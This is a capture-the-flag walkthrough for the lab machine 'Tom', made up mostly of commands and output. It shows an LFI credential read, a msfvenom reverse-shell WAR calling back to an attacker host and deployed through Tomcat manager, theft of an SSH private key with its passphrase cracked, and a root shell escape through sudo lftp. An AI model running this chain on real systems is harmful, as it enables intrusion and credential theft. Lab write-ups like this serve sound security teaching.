

HackMyVM – Tom

Creator : datasec

Difficulty : **easy**

Writer : alienum

15 October 2021

Contents

Initial Foothold	3
Port Scan.....	3
Directory Scan – Port 80.....	3
Local File Inclusion – Port 80	4
Local File Inclusion - Verified	4
Found Tomcat HOME/BASE Directory.....	5
Tomcat Credentials using LFI.....	5
Msfvenom - Reverse Shell Generator	6
Payload	6
Reverse Shell – Port 8080.....	6
Deploy / Upload.....	6
Trigger The Revershe Shell	6
Listener	6
Proof	6
Horizontal Privileges Escalation.....	7
Sudo Permissions as nathan	7
Reading and Encode Nathan’s Private Key using ASCII85	7
Decode Nathan’s Private Key using ASCII85.....	8
Crack id_rsa Passphrase	8
User Proof.....	9
Vertical Privileges Escalation	9
Sudo Permissions.....	9
Shell Command Execution using LFTP as ROOT	9
Rooted	9

Initial Foothold

Port Scan

```
(kali@Zeus)-[~]
$ nmap 10.0.2.253 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-15 21:21 EEST
Nmap scan report for hat (10.0.2.253)
Host is up (0.00057s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8080/tcp  open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 5.65 seconds
```

Directory Scan – Port 80

```
gobuster dir -u http://10.0.2.253 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 -x .txt,.log,.php,.bak
```

```
File Actions Edit View Help
(kali@Zeus)-[~]
$ gobuster dir -u http://10.0.2.253 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 -x .txt,.log,.php,.bak

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.0.2.253
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,log,php,bak
[+] Timeout: 10s

2021/10/15 22:51:08 Starting gobuster in directory enumeration mode

/javascript (Status: 301) [Size: 313] [→ http://10.0.2.253/javascript/]
/tomcat.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 275]

2021/10/15 22:57:01 Finished
```

```
Result : /tomcat.php
```

Local File Inclusion – Port 80

wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh 0 'http://10.0.2.253/tomcat.php?FUZZ=/etc/passwd'

```
(kali@Zeus)-[~]
$ wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh 0 'http://10.0.2.253/tomcat.php?FUZZ=/etc/passwd'
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against OpenSSL. Wfuzz might not work correctly
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://10.0.2.253/tomcat.php?FUZZ=/etc/passwd
Total requests: 220560
```

ID	Response	Lines	Word	Chars	Payload
000011159:	200	27 L	39 W	1441 Ch	"filez"

Result : filez

Local File Inclusion - Verified

Proof

view-source:http://10.0.2.253/tomcat.php?filez=/etc/passwd

://10.0.2.253/tomcat.php x +

→ ↺ 🏠 view-source:http://10.0.2.253/tomcat.php?filez=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110:/nonexistent:/usr/sbin/nologin
sshd:x:105:65534:/run/ssh:/usr/sbin/nologin
nathan:x:1000:1000:nathan,,:/home/nathan:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
tomcat:x:1001:1001:/opt/tomcat:/bin/false

Found Tomcat HOME/BASE Directory

```
view-source:http://10.0.2.253/tomcat.php?filez=/etc/systemd/system/tomcat.service

http://10.0.2.253/tomcat.php x +
view-source:http://10.0.2.253/tomcat.php?filez=/etc/systemd/system/tomcat.service

1 [Unit]
2 Description=Tomcat 9 servlet container
3 After=network.target
4
5 [Service]
6 Type=forking
7
8 User=tomcat
9 Group=tomcat
10
11 Environment="JAVA_HOME=/usr/lib/jvm/default-java"
12 Environment="JAVA_OPTS=-Djava.security.egd=file:///dev/urandom"
13
14 Environment="CATALINA_BASE=/opt/tomcat/latest"
15 Environment="CATALINA_HOME=/opt/tomcat/latest"
16 Environment="CATALINA_PID=/opt/tomcat/latest/temp/tomcat.pid"
17 Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"
18
19 ExecStart=/opt/tomcat/latest/bin/startup.sh
20 ExecStop=/opt/tomcat/latest/bin/shutdown.sh
21
22 [Install]
23 WantedBy=multi-user.target
24
```

If you ask me, how I guessed this file, as a creator I know that the **/etc/systemd/system** is the default linux path to create your service, so I guessed that the service name is tomcat(.service). Also, each service contains the directory that runs the binaries to start or stop the service. For tomcat the working directory is :

/opt/tomcat/latest

Tomcat Credentials using LFI

```
view-source:http://10.0.2.253/tomcat.php?filez=/opt/tomcat/latest/conf/tomcat-users.xml

54 <user username="role1" password="<must-be-changed>" roles="role1"/>
55 -->
56 <role rolename="admin-gui"/>
57 <role rolename="manager-script"/>
58 <user username="sml" password="H4ckMy*****" roles="admin-gui,manager-script"/>
59 </tomcat-users>
60

<user username="sml" password="H4ckMy*****" roles="admin-gui,manager-script"/>
```

Msfvenom - Reverse Shell Generator

Payload

```
msfvenom -p java/shell_reverse_tcp lhost=10.0.2.254 lport=443 -f war -o alenum.war
```

```
(kali@Zeus)-[~/Desktop/webshell]
$ msfvenom -p java/shell_reverse_tcp lhost=10.0.2.254 lport=443 -f war -o alenum.war
Payload size: 13320 bytes
Final size of war file: 13320 bytes
Saved as: alenum.war
```

Reverse Shell – Port 8080

Deploy / Upload

Deploy

```
curl --upload-file alenum.war -u 'sml:H4ckMy*****'
"http://10.0.2.253:8080/manager/text/deploy?path=/alenum"
```

```
(kali@Zeus)-[~/Desktop/webshell]
$ curl --upload-file alenum.war -u 'sml:H4ckMy*****' "http://10.0.2.253:8080/manager/text/deploy?path=/alenum"
OK - Desplegada aplicación en trayectoria de contexto [/alenum]
(kali@Zeus)-[~/Desktop/webshell]
$
```

Trigger The Revershe Shell

```
curl http://10.0.2.253:8080/alenum
```

Listener

```
nc -lnvp 443
```

Proof

```
(kali@Zeus)-[~/Desktop/webshell]
$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.0.2.254] from (UNKNOWN) [10.0.2.253] 60812
/usr/bin/script -qc /bin/bash /dev/null
tomcat@tom:/$ export TERM=xterm
export TERM=xterm
tomcat@tom:/$ id
id
uid=1001(tomcat) gid=1001(tomcat) grupos=1001(tomcat)
tomcat@tom:/$
```

```
(kali@Zeus)-[~]
$ curl http://10.0.2.253:8080/alenum
(kali@Zeus)-[~]
$
```

Horizontal Privileges Escalation

Sudo Permissions as nathan

sudo -l

```
tomcat@tom:~$ sudo -l
sudo -l
Matching Defaults entries for tomcat on tom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomcat may run the following commands on tom:
    (nathan) NOPASSWD: /usr/bin/ascii85
tomcat@tom:~$
```

Reading and Encode Nathan's Private Key using ASCII85

sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa

```
tomcat@tom:~$ sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa
sudo -u nathan /usr/bin/ascii85 /home/nathan/.ssh/id_rsa
<- /M/P+/ODlr8PUC+;aD08;FsnT<(.p879M2o/M/O]:i^Ja/Q@"7ANCqj/4E<$;HZgq777JN78#4(DJ!
fJ+@JXs/O`6r1G(s\6S()K2DmEN2*!EG68phj1c5UIE+3<K@QA(GE'\/<7S[Z50i^6,2cE@")M,TBfJ
sZ<G4*A92.*Y9K6!RATMU".qMURChLRa=[I:KD)ZK,$;!$4FYH?iG`J1%;bor/2`XH/1.bd[A09Bc=##
Ei<HgEGE+s2K.n+o6D*g]FGtpnU<(U\):fqg/88`6C;[PK_A9:pS.nb(aEHH2%=%@c94<$g9l`??H"U
nk3+d`f7Rfa<JorZBL-QW3A=W=ALg6>9h7`Q3(LYX1i3SGC+q;WCK!/j9P$e!<dInB;IM4M:/b:R9PI
@%GA`H]12(-#<GXC.DIkX`D+72Y1c98@80d6,GZAHl<-]u$<`q4:Gt:MN;HIP^1KJR8;Is`"F6#MB3B`
`H<Fp;UDH:I@Gth%V6:5BZ.L(+>9l*6k;+*E(Ebn9A=%?pY$;O`C1/1A4H::q->%U3K>#')l;_q*C@Q.
"u6n;Y]1,_mR:,mK;C.1%%H?i0e:LL4ZA01?=-8M-Rf8o\Q=<sh<21,,4#=-CHD`ASu0\2d/Rp1.sEK8kC
OEC.pKuAi!t?0Lkc::,k%LCL]e8FAahi@q0%M;FY8E2GLjqCH)Z>C2IWM=Yr*-G:Q3UD`)d=aEn^>$#
Q293>7S=u0,m80u`48p493=%d=%<GcbE2`WTLH<E]fE`-X6Dji;YATThDDe)XQG"QgtGA^>>D..`M:fh
+D7W:[E5u_H4G%,B17WM76H7q*pE(!GS6"+SM@59KFAkG[26<8+^$=dNqD_Y^478.o;:1S3P:NU_Z0NM
jY2c2JD@RG6?7V-4/C,[t^7s6UC6WJGN7oN<0;,ou)C3W98CM\0;6jc@=_2M`=B^#>D.7EnBfACR7;"
npEGRV@PLAA:hF3+>8nLL0f:V+G\0L5B/!%m7V=_`=VJ1F)"?[02W'6:df=^Ao0q=;/9T9:M<[A1,M
XD89/Z_;G'5q8lRZL79FkM8T.3eBkgXB<AR$D<HE=oC0GUt3CcPPG\qF-<\HFV04J$W0JmuJB1ka+7qc
X70Qh`YAO;O`C/?]UANEu%5rEq#:KV1B=D_Ma@l%jqBOP(Z0L]-r7VQF:$:S]2BgcM_<,Ho(20WI`GYh
s=052q<BLtR3Bk1jt<_>b[0q/M!;c6A!1MoX,,.0<.;Cba^H8S6f<)6q";$qPI<_>tpD,sMZ;;qd;0hk
eHH$1r71biub0/G0g80[\\G]dq@D0/Zn7qYFnAmdLH7Uf:sCG^<RCcEpu75tWD7X.sV3HJsl1I5bgA78
Pc03(kEEAQ679lj5k92JVfA0S0M7!3ZU=DV\oF?sA]0MY;-6?"SL06C;j>%2+0@V%np:2P2q>6JLA2,@
am7mV6]=)LeaG?/C"AQ:L17:S_a<_GDD1K#`F6#]+n7;-Q;di0d5seCl<_%C($`X<6Y(:ZAO^pJA8H
EL:36jf=6a0A7:]h.D0]eu=#3]S6l@<Z-WBkhBY80?N<8N6CbBk(=X1JCqb1^`\>.:!/WnGt]nj3C@
F62)fP+6X!6I6?%$*D)5jJ<'b_K5t`n!5uN`h7V4>h=)3(u:KL^6H`'QFDeXXK^Cf^s\An,7g="m-Y82G
H^@Q@L[3(P\m<\RTN6pWdm6:PC)D+ij^9Iho`12p-)6um?^6o[h^G^qXC.N)W=_L/08Pj.[DFmb`8TA
le04T6A2cb#~@7rLjDDj4X0kF-^@k0l*B/MAX.rIXO3*A3s9Q`=/@7iF:84H-j963^N$8b@D;p2591L
]o92J_NFDNp\AlD/mEA:!\<)@1MH:DmdDehg9AQEPE:e*3:An47d96t>f121Yr9/J.n<shB=BkBA-2(M
[IB16]J=?(>F'2[>8l[WFH`TchBN.KD8o63.B3//[B5B(s:J*ArEGA26<(Cok96i@=7Uc]_ART@l:3]
Z_=u`c)90$*A:e>CuAPuMcCbqdz2JdS8@Wt^@;c$n#:3LV3EEHm49hd#8ht9?@9R>'F%1B]:J!EPA7S
RtCf#@U@rZ[0CLT%pBf/=h85!6U<)>PO:,6]B6UG9C0M64X12^3'7r!;<+8P=-a:,[Dg@;g:%$8!h]/M0
Cd6m,B+5p0!%8QJ,V73G5L=Y23W/M.;->tomcat@tom:~$
```


Decode Nathan's Private Key using ASCII85

```
sudo apt-get install -y ruby-ascii85
```

```
ascii85 -d id_rsa85
```

```
(kali@Zeus)-[~/Desktop]
$ which ascii85
/usr/bin/ascii85

(kali@Zeus)-[~/Desktop]
$ ascii85 -d id_rsa85
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,5065755920B77C45

pbcbIb9gxpAhVFNik1U4P7SK+WnXji8QFUh11KM0oL8TXesjh+eRNlkHuYBvmm7rI
I37u0HZVxvISOHx79IT2ISkeBUeW2KsUw8vpin7+Eb8mBF/yNHyTifYPXtFHNlTS
8SdtXV+KwRqtqWwGk8KawwMkfTygkS8fm9FFCKYywdhAor90ZXe+AKMHFT8KDo4m
zj0/lkS7SLeIZVzYLRa/INSY6LiQRwhFk2hbZU11one47mFL845qDIFdLxUiITy+
VY36yHIwRwsu3VsoRen0sN0e970gUeuYnViFyMNUBCgL+2UjMLEKQD98rLHNWGH1
NYp2MJIzEXIZfEyZNR0S3L0b7MmD+D326NzN8xpjE6szyV00d2SeArXI/ciJqilW
CL22CZXawcenht7ZCz2K3yJI+ejL5hf3du1oM+N83qkcEFtR1PccdvRfFz6QD/k8
ojmhaY48Fw+HioSe9YzPnZWmGKXW7Z3TjIHR/JvWOWKkKUMrD7914zYF+rRj+nnQ
et6hod0bVJstwnS9maz8PWbnFpB+ATflvborFrNSz/4qpDN/Aalra2/bfJJk8Vr2
cb+o1beELwfNdmd0tuU0VhI7Q6dbCtYFegPj74gGv13CUzoGSRwQUcsjxHAKlvvD
EUYeofXZzAmboci7CMegAaqlAkb1GEPfcEZrnE15/txfS7g0MgFg9XYMIusjKf/Q
5PDr6fmdYQka00hsj24KqHrphRJarJTSWEXziiIoJaijUMU3DVUsvdjZqr9GFhxmQ
V/8w/bXL04wmGKGeghJQ0ug+fnogjP3Fff7UA5yg0XeIXmbmc3j0haZj1q7wFieY
EjWiDe+Tmyv5wa1xPeC/i+WhICridgsVJDuccU9SRNa3mGxQdgER+Ujz5CRT0aQQ
xTVJDDmVQyQUvR1MYOyv2I41qj/37WIEs9xuolmtRnGgJTe4X5FbSVk4yml8+/E8
FFxVu9sk33AjpgdaWz/UQNq7iXMsS6KPUTeE7JDuvYXliutAby0NLAbp/I/tXMZbg
beCDNmwrZnv650dcGAoDwn0+wVhueU2xEcDSVK8I3R+tApAZEhbuSaGGABPwVGx
fLSQCdtrfrVodlv9NrGrWTqXEdaWmyhZW3QAYVMNawaQijj0IBX7I648icZe3LYh4
tZNL8zyl0S9Cg157r+CZiABpt7m3huTAwrAK0CARz9Ff0jWkymOWY2yb00oialW
mfcapW0GiH3wJb9WG8H/GV0WODA89BFasmBxjL+3V2pRhDrshD8KuxkgAjHjnYhC
IPj6nIS4Iqui/cxj7Vt9aK6fn61a1e0Wc+B8g50j+nAS8Y83Lu8iaJ67HFHrKsJy
4JEQUiyKG15KPX9tL8wFSLq1HPTPfzFqfokFLeVjSPG0QfdC5Kzjj2ioFK4+MW
Euif9X5+UrgEncX8kvsYZKJU2SgKphTGTJkkAgWwygl+SOJ20qjZ4TGfHKy4xGb
6eakNxrZ2zhK9XCPIjPeRU5l27c6lwRbwRHSPARNvq1qXh6MFKxJ2n3aZh7sFx
OI5addR8lPxTcqvnkb20i5EcHKXHTP8QN2n2CBc90JnN2NxbGmQjIKt7N6zGaouh
-----END RSA PRIVATE KEY-----
```

Crack id_rsa Passphrase

```
ascii85 -d id_rsa85 > id_rsa
```

```
/usr/share/john/ssh2john.py id_rsa > hash
```

```
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

```
(kali@Zeus)-[~/Desktop]
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
darkness (id_rsa)
1g 0:00:00:30 DONE (2021-10-16 01:05) 0.03278g/s 470219p/s 470219c/s 470219C/s *7jVamos!
Session completed
```


User Proof

```
(kali@Zeus)-[~/Desktop]
$ ssh -i id_rsa nathan@10.0.2.253
Enter passphrase for key 'id_rsa':
Linux tom 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
nathan@tom:~$ id
uid=1000(nathan) gid=1000(nathan) grupos=1000(nathan),24(cdrom),25(floppy),29(audio),30(disk),44(video),46(network),47(usb)
nathan@tom:~$ ls
user.txt
nathan@tom:~$
```

Vertical Privileges Escalation

Sudo Permissions

Sudo -l
<pre>nathan@tom:~\$ sudo -l Matching Defaults entries for nathan on tom: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/usr/games\:/usr/games User nathan may run the following commands on tom: (root) NOPASSWD: /usr/bin/lftp nathan@tom:~\$</pre>

Shell Command Execution using LFTP as ROOT

Rooted

sudo -u root /usr/bin/lftp
!/bin/bash
<pre>nathan@tom:~\$ sudo -u root /usr/bin/lftp lftp :~> !id uid=0(root) gid=0(root) grupos=0(root) lftp :~> !/bin/bash root@tom:/home/nathan# cd /root root@tom:~# ls root.txt root@tom:~# id uid=0(root) gid=0(root) grupos=0(root) root@tom:~#</pre>